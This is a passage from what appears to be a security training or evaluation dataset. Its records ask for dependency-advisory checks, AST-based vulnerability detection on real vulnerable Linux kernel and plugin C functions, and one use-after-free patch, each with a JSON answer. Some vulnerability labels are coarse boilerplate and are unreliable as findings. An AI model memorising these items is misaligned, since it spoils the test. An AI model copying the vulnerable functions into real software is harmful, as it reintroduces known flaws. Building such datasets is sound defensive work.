<4.3.2-1+deb10u4\nSummary: lxml - security update", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DSA-5043-1\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:10\",\n \"package\": \"lxml\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <4.3.2-1+deb10u4\",\n \"fixed_version\": \"4.3.2-1+deb10u4\",\n \"finding\": \"lxml - security update\",\n \"remediation\": \"Upgrade lxml to 4.3.2-1+deb10u4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int rpc_type_of_NPPVariable(int variable)\n{\n int type;\n switch (variable) {\n case NPPVpluginNameString:\n case NPPVpluginDescriptionString:\n case NPPVformValue: // byte values of 0 does not appear in the UTF-8 encoding but for U+0000\n\ttype = RPC_TYPE_STRING;\n\tbreak;\n case NPPVpluginWindowSize:\n case NPPVpluginTimerInterval:\n\ttype = RPC_TYPE_INT32;\n\tbreak;\n case NPPVpluginNeedsXEmbed:\n case NPPVpluginWindowBool:\n case NPPVpluginTransparentBool:\n case NPPVjavascriptPushCallerBool:\n case NPPVpluginKeepLibraryInMemory:\n\ttype = RPC_TYPE_BOOLEAN;\n\tbreak;\n case NPPVpluginScriptableNPObject:\n\ttype = RPC_TYPE_NP_OBJECT;\n\tbreak;\n default:\n\ttype = RPC_ERROR_GENERIC;\n\tbreak;\n }\n return type;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"project\": \"nspluginwrapper\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static ssize_t ucma_process_join(struct ucma_file *file,\n\t\t\t\t struct rdma_ucm_join_mcast *cmd, int out_len)\n{\n\tstruct rdma_ucm_create_id_resp resp;\n\tstruct ucma_context *ctx;\n\tstruct ucma_multicast *mc;\n\tstruct sockaddr *addr;\n\tint ret;\n\tu8 join_state;\n\n\tif (out_len < sizeof(resp))\n\t\treturn -ENOSPC;\n\n\taddr = (struct sockaddr *) &cmd->addr;\n\tif (cmd->addr_size != rdma_addr_size(addr))\n\t\treturn -EINVAL;\n\n\tif (cmd->join_flags == RDMA_MC_JOIN_FLAG_FULLMEMBER)\n\t\tjoin_state = BIT(FULLMEMBER_JOIN);\n\telse if (cmd->join_flags == RDMA_MC_JOIN_FLAG_SENDONLY_FULLMEMBER)\n\t\tjoin_state = BIT(SENDONLY_FULLMEMBER_JOIN);\n\telse\n\t\treturn -EINVAL;\n\n\tctx = ucma_get_ctx_dev(file, cmd->id);\n\tif (IS_ERR(ctx))\n\t\treturn PTR_ERR(ctx);\n\n\tmutex_lock(&file->mut);\n\tmc = ucma_alloc_multicast(ctx);\n\tif (!mc) {\n\t\tret = -ENOMEM;\n\t\tgoto err1;\n\t}\n\tmc->join_state = join_state;\n\tmc->uid = cmd->uid;\n\tmemcpy(&mc->addr, addr, cmd->addr_size);\n\tret = rdma_join_multicast(ctx->cm_id, (struct sockaddr *)&mc->addr,\n\t\t\t\t join_state, mc);\n\tif (ret)\n\t\tgoto err2;\n\n\tresp.id = mc->id;\n\tif (copy_to_user(u64_to_user_ptr(cmd->response),\n\t\t\t &resp, sizeof(resp))) {\n\t\tret = -EFAULT;\n \t\tgoto err3;\n \t}\n \n \tmutex_unlock(&file->mut);\n \tucma_put_ctx(ctx);\n \treturn 0;\n\nerr3:\n\trdma_leave_multicast(ctx->cm_id, (struct sockaddr *) &mc->addr);\n\tucma_cleanup_mc_events(mc);\nerr2:\n\tmutex_lock(&mut);\n\tidr_remove(&multicast_idr, mc->id);\n\tmutex_unlock(&mut);\n\tlist_del(&mc->list);\n\tkfree(mc);\nerr1:\n\tmutex_unlock(&file->mut);\n\tucma_put_ctx(ctx);\n\treturn ret;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"cve\": \"CVE-2018-14734\",\n \"fixed_code\": \"static ssize_t ucma_process_join(struct ucma_file *file,\\n\\t\\t\\t\\t struct rdma_ucm_join_mcast *cmd, int out_len)\\n{\\n\\tstruct rdma_ucm_create_id_resp resp;\\n\\tstruct ucma_context *ctx;\\n\\tstruct ucma_multicast *mc;\\n\\tstruct sockaddr *addr;\\n\\tint ret;\\n\\tu8 join_state;\\n\\n\\tif (out_len < sizeof(resp))\\n\\t\\treturn -ENOSPC;\\n\\n\\taddr = (struct sockaddr *) &cmd->addr;\\n\\tif (cmd->addr_size != rdma_addr_size(addr))\\n\\t\\treturn -EINVAL;\\n\\n\\tif (cmd->join_flags == RDMA_MC_JOIN_FLAG_FULLMEMBER)\\n\\t\\tjoin_state = BIT(FULLMEMBER_JOIN);\\n\\telse if (cmd->join_flags == RDMA_MC_JOIN_FLAG_SENDONLY_FULLMEMBER)\\n\\t\\tjoin_state = BIT(SENDONLY_FULLMEMBER_JOIN);\\n\\telse\\n\\t\\treturn -EINVAL;\\n\\n\\tctx = ucma_get_ctx_dev(file, cmd->id);\\n\\tif (IS_ERR(ctx))\\n\\t\\treturn PTR_ERR(ctx);\\n\\n\\tmutex_lock(&file->mut);\\n\\tmc = ucma_alloc_multicast(ctx);\\n\\tif (!mc) {\\n\\t\\tret = -ENOMEM;\\n\\t\\tgoto err1;\\n\\t}\\n\\tmc->join_state = join_state;\\n\\tmc->uid = cmd->uid;\\n\\tmemcpy(&mc->addr, addr, cmd->addr_size);\\n\\tret = rdma_join_multicast(ctx->cm_id, (struct sockaddr *)&mc->addr,\\n\\t\\t\\t\\t join_state, mc);\\n\\tif (ret)\\n\\t\\tgoto err2;\\n\\n\\tresp.id = mc->id;\\n\\tif (copy_to_user(u64_to_user_ptr(cmd->response),\\n\\t\\t\\t &resp, sizeof(resp))) {\\n\\t\\tret = -EFAULT;\\n \\t\\tgoto err3;\\n \\t}\\n \\n\\tmutex_lock(&mut);\\n\\tidr_replace(&multicast_idr, mc, mc->id);\\n\\tmutex_unlock(&mut);\\n\\n \\tmutex_unlock(&file->mut);\\n \\tucma_put_ctx(ctx);\\n \\treturn 0;\\n\\nerr3:\\n\\trdma_leave_multicast(ctx->cm_id, (struct sockaddr *) &mc->addr);\\n\\tucma_cleanup_mc_events(mc);\\nerr2:\\n\\tmutex_lock(&mut);\\n\\tidr_remove(&multicast_idr, mc->id);\\n\\tmutex_unlock(&mut);\\n\\tlist_del(&mc->list);\\n\\tkfree(mc);\\nerr1:\\n\\tmutex_unlock(&file->mut);\\n\\tucma_put_ctx(ctx);\\n\\treturn ret;\\n}\\n\",\n \"change_summary\": \"infiniband: fix a possible use-after-free bug\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-116", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.tomcat:tomcat-catalina\nInstalled version: 9.0.76\nSummary: Apache Tomcat Rewrite rule bypass", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-ff77-26x5-69cr\",\n \"cve\": \"CVE-2025-31651\",\n \"aliases\": [\n \"BIT-tomcat-2025-31651\",\n \"CVE-2025-31651\"\n ],\n \"cwe\": \"CWE-116\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.tomcat:tomcat-catalina\",\n \"severity\": \"low\",\n \"affected_versions\": \">=9.0.76, <9.0.104\",\n \"fixed_version\": \"9.0.104\",\n \"finding\": \"Apache Tomcat Rewrite rule bypass\",\n \"remediation\": \"Upgrade org.apache.tomcat:tomcat-catalina to 9.0.104 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/go-gitea/gitea\nInstalled version: 1.5.1\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/go-gitea/gitea\",\n \"installed_version\": \"1.5.1\",\n \"note\": \"github.com/go-gitea/gitea 1.5.1 is at or above the fixed version for GHSA-r3gq-wxqf-q4gh; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: @evershop/evershop\nInstalled version: <1.0.0-rc.8\nSummary: Directory Traversal in evershop", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4wrm-qmq2-5fjx\",\n \"cve\": \"CVE-2023-46493\",\n \"aliases\": [\n \"CVE-2023-46493\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"npm\",\n \"package\": \"@evershop/evershop\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.0.0-rc.8\",\n \"fixed_version\": \"1.0.0-rc.8\",\n \"finding\": \"Directory Traversal in evershop\",\n \"remediation\": \"Upgrade @evershop/evershop to 1.0.0-rc.8 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-20", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "struct nfs_server *nfs4_create_server(const struct nfs4_mount_data *data,\n\t\t\t\t const char *hostname,\n\t\t\t\t const struct sockaddr_in *addr,\n\t\t\t\t const char *mntpath,\n\t\t\t\t const char *ip_addr,\n\t\t\t\t rpc_authflavor_t authflavour,\n\t\t\t\t struct nfs_fh *mntfh)\n{\n\tstruct nfs_fattr fattr;\n\tstruct nfs_server *server;\n\tint error;\n\n\tdprintk(\"--> nfs4_create_server()\\n\");\n\n\tserver = nfs_alloc_server();\n\tif (!server)\n\t\treturn ERR_PTR(-ENOMEM);\n\n\t/* Get a client record */\n\terror = nfs4_set_client(server, hostname, addr, ip_addr, authflavour,\n\t\t\tdata->proto, data->timeo, data->retrans);\n\tif (error < 0)\n\t\tgoto error;\n\n\t/* set up the general RPC client */\n\terror = nfs4_init_server(server, data, authflavour);\n\tif (error < 0)\n\t\tgoto error;\n\n\tBUG_ON(!server->nfs_client);\n\tBUG_ON(!server->nfs_client->rpc_ops);\n\tBUG_ON(!server->nfs_client->rpc_ops->file_inode_ops);\n\n\t/* Probe the root fh to retrieve its FSID */\n\terror = nfs4_path_walk(server, mntfh, mntpath);\n\tif (error < 0)\n\t\tgoto error;\n\n\tdprintk(\"Server FSID: %llx:%llx\\n\",\n\t\t(unsigned long long) server->fsid.major,\n\t\t(unsigned long long) server->fsid.minor);\n\tdprintk(\"Mount FH: %d\\n\", mntfh->size);\n\n\terror = nfs_probe_fsinfo(server, mntfh, &fattr);\n\tif (error < 0)\n\t\tgoto error;\n\n\tBUG_ON(!server->nfs_client);\n\tBUG_ON(!server->nfs_client->rpc_ops);\n\tBUG_ON(!server->nfs_client->rpc_ops->file_inode_ops);\n\n\tspin_lock(&nfs_client_lock);\n\tlist_add_tail(&server->client_link, &server->nfs_client->cl_superblocks);\n\tlist_add_tail(&server->master_link, &nfs_volume_list);\n\tspin_unlock(&nfs_client_lock);\n\n\tserver->mount_time = jiffies;\n\tdprintk(\"<-- nfs4_create_server() = %p\\n\", server);\n\treturn server;\n\nerror:\n\tnfs_free_server(server);\n\tdprintk(\"<-- nfs4_create_server() = error %d\\n\", error);\n\treturn ERR_PTR(error);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static inline struct scatterlist *esp_givreq_sg(\n\tstruct crypto_aead *aead, struct aead_givcrypt_request *req)\n{\n\treturn (void *)ALIGN((unsigned long)(req + 1) +\n\t\t\t crypto_aead_reqsize(aead),\n\t\t\t __alignof__(struct scatterlist));\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int cxusb_dee1601_frontend_attach(struct dvb_usb_adapter *adap)\n{\n\tif (usb_set_interface(adap->dev->udev, 0, 0) < 0)\n\t\terr(\"set interface failed\");\n\n\tcxusb_ctrl_msg(adap->dev, CMD_DIGITAL, NULL, 0, NULL, 0);\n\n\tadap->fe_adap[0].fe = dvb_attach(mt352_attach, &cxusb_dee1601_config,\n\t\t\t\t\t &adap->dev->i2c_adap);\n\tif ((adap->fe_adap[0].fe) != NULL)\n\t\treturn 0;\n\n\tadap->fe_adap[0].fe = dvb_attach(zl10353_attach,\n\t\t\t\t\t &cxusb_zl10353_dee1601_config,\n\t\t\t\t\t &adap->dev->i2c_adap);\n\tif ((adap->fe_adap[0].fe) != NULL)\n\t\treturn 0;\n\n\treturn -EIO;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-399", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static netdev_tx_t veth_xmit(struct sk_buff *skb, struct net_device *dev)\n{\n\tstruct net_device *rcv = NULL;\n\tstruct veth_priv *priv, *rcv_priv;\n\tstruct veth_net_stats *stats, *rcv_stats;\n\tint length;\n\n\tpriv = netdev_priv(dev);\n\trcv = priv->peer;\n\trcv_priv = netdev_priv(rcv);\n\n\tstats = this_cpu_ptr(priv->stats);\n\trcv_stats = this_cpu_ptr(rcv_priv->stats);\n\n\tif (!(rcv->flags & IFF_UP))\n\t\tgoto tx_drop;\n\n\tif (dev->features & NETIF_F_NO_CSUM)\n\t\tskb->ip_summed = rcv_priv->ip_summed;\n\n\tlength = skb->len + ETH_HLEN;\n\tif (dev_forward_skb(rcv, skb) != NET_RX_SUCCESS)\n\t\tgoto rx_drop;\n\n\tstats->tx_bytes += length;\n\tstats->tx_packets++;\n\n\trcv_stats->rx_bytes += length;\n\trcv_stats->rx_packets++;\n\n\treturn NETDEV_TX_OK;\n\ntx_drop:\n\tkfree_skb(skb);\n\tstats->tx_dropped++;\n \treturn NETDEV_TX_OK;\n \n rx_drop:\n\tkfree_skb(skb);\n \trcv_stats->rx_dropped++;\n \treturn NETDEV_TX_OK;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-399\",\n \"cwe_name\": \"Resource Management Errors\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2013-2017\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 39\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"netdev_tx_t\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"veth_xmit\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 28\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 29\n },\n {\n \"token\": \"sk_buff\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"skb\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"net_device\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 68\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 69\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 72\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"net_device\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"rcv\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 30\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"veth_priv\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"priv\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"rcv_priv\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"veth_net_stats\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 23\n },\n {\n \"token\": \"stats\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 5,\n \"col\": 29\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 31\n },\n {\n \"token\": \"rcv_stats\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 41\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \"priv\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"netdev_priv\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"dev\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 20\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \"rcv\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 5\n },\n {\n \"token\": \"priv\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 7\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \"peer\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"rcv_priv\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 10\n },\n {\n \"token\": \"netdev_priv\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 10,\n \"col\": 23\n },\n {\n \"token\": \"rcv\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 24\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 10,\n \"col\": 27\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "int nft_register_set(struct nft_set_ops *ops)\n{\n\tnfnl_lock(NFNL_SUBSYS_NFTABLES);\n\tlist_add_tail_rcu(&ops->list, &nf_tables_set_ops);\n\tnfnl_unlock(NFNL_SUBSYS_NFTABLES);\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static inline void native_set_ldt(const void *addr, unsigned int entries)\n{\n\tif (likely(entries == 0))\n\t\tasm volatile(\"lldt %w0\"::\"q\" (0));\n\telse {\n\t\tunsigned cpu = smp_processor_id();\n\t\tldt_desc ldt;\n\n\t\tset_tssldt_descriptor(&ldt, (unsigned long)addr,\n\t\t\t\t DESC_LDT, entries * sizeof(ldt) - 1);\n\t\twrite_gdt_entry(get_cpu_gdt_table(cpu), GDT_ENTRY_LDT,\n\t\t\t\t&ldt, DESC_LDT);\n\t\tasm volatile(\"lldt %w0\"::\"q\" (GDT_ENTRY_LDT*8));\n\t}\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"linux-2.6\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static ssize_t ext4_ext_direct_IO(int rw, struct kiocb *iocb,\n\t\t\t const struct iovec *iov, loff_t offset,\n\t\t\t unsigned long nr_segs)\n{\n\tstruct file *file = iocb->ki_filp;\n\tstruct inode *inode = file->f_mapping->host;\n\tssize_t ret;\n\tsize_t count = iov_length(iov, nr_segs);\n\n\tloff_t final_size = offset + count;\n\tif (rw == WRITE && final_size <= inode->i_size) {\n\t\t/*\n \t\t * We could direct write to holes and fallocate.\n\t\t *\n \t\t * Allocated blocks to fill the hole are marked as uninitialized\n \t\t * to prevent paralel buffered read to expose the stale data\n \t\t * before DIO complete the data IO.\n\t\t *\n \t\t * As to previously fallocated extents, ext4 get_block\n \t\t * will just simply mark the buffer mapped but still\n \t\t * keep the extents uninitialized.\n \t\t *\n\t\t * for non AIO case, we will convert those unwritten extents\n\t\t * to written after return back from blockdev_direct_IO.\n\t\t *\n\t\t * for async DIO, the conversion needs to be defered when\n\t\t * the IO is completed. The ext4 end_io callback function\n\t\t * will be called to take care of the conversion work.\n\t\t * Here for async case, we allocate an io_end structure to\n\t\t * hook to the iocb.\n \t\t */\n \t\tiocb->private = NULL;\n \t\tEXT4_I(inode)->cur_aio_dio = NULL;\n \t\tif (!is_sync_kiocb(iocb)) {\n\t\t\tiocb->private = ext4_init_io_end(inode);\n \t\t\tif (!iocb->private)\n \t\t\t\treturn -ENOMEM;\n \t\t\t/*\n\t\t\t * we save the io structure for current async\n\t\t\t * direct IO, so that later ext4_get_blocks()\n\t\t\t * could flag the io structure whether there\n\t\t\t * is a unwritten extents needs to be converted\n\t\t\t * when IO is completed.\n\t\t\t */\n\t\t\tEXT4_I(inode)->cur_aio_dio = iocb->private;\n\t\t}\n\n\t\tret = blockdev_direct_IO(rw, iocb, inode,\n\t\t\t\t\t inode->i_sb->s_bdev, iov,\n\t\t\t\t\t offset, nr_segs,\n\t\t\t\t\t ext4_get_block_write,\n\t\t\t\t\t ext4_end_io_dio);\n\t\tif (iocb->private)\n\t\t\tEXT4_I(inode)->cur_aio_dio = NULL;\n\t\t/*\n\t\t * The io_end structure takes a reference to the inode,\n\t\t * that structure needs to be destroyed and the\n\t\t * reference to the inode need to be dropped, when IO is\n\t\t * complete, even with 0 byte write, or failed.\n\t\t *\n\t\t * In the successful AIO DIO case, the io_end structure will be\n\t\t * desctroyed and the reference to the inode will be dropped\n\t\t * after the end_io call back function is called.\n\t\t *\n\t\t * In the case there is 0 byte write, or error case, since\n\t\t * VFS direct IO won't invoke the end_io call back function,\n\t\t * we need to free the end_io structure here.\n\t\t */\n\t\tif (ret != -EIOCBQUEUED && ret <= 0 && iocb->private) {\n\t\t\text4_free_io_end(iocb->private);\n\t\t\tiocb->private = NULL;\n\t\t} else if (ret > 0 && ext4_test_inode_state(inode,\n\t\t\t\t\t\tEXT4_STATE_DIO_UNWRITTEN)) {\n\t\t\tint err;\n\t\t\t/*\n\t\t\t * for non AIO case, since the IO is already\n\t\t\t * completed, we could do the convertion right here\n\t\t\t */\n\t\t\terr = ext4_convert_unwritten_extents(inode,\n\t\t\t\t\t\t\t offset, ret);\n\t\t\tif (err < 0)\n\t\t\t\tret = err;\n\t\t\text4_clear_inode_state(inode, EXT4_STATE_DIO_UNWRITTEN);\n\t\t}\n\t\treturn ret;\n\t}\n\n\t/* for write the the end of file case, we fall back to old way */\n\treturn ext4_ind_direct_IO(rw, iocb, iov, offset, nr_segs);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-8324\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 35\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 34,\n \"col\": 3\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 34,\n \"col\": 6\n },\n {\n \"token\": \"!\",\n \"ast_node\": \"!\",\n \"line\": 34,\n \"col\": 7\n },\n {\n \"token\": \"is_sync_kiocb\",\n \"ast_node\": \"identifier\",\n \"line\": 34,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 34,\n \"col\": 21\n },\n {\n \"token\": 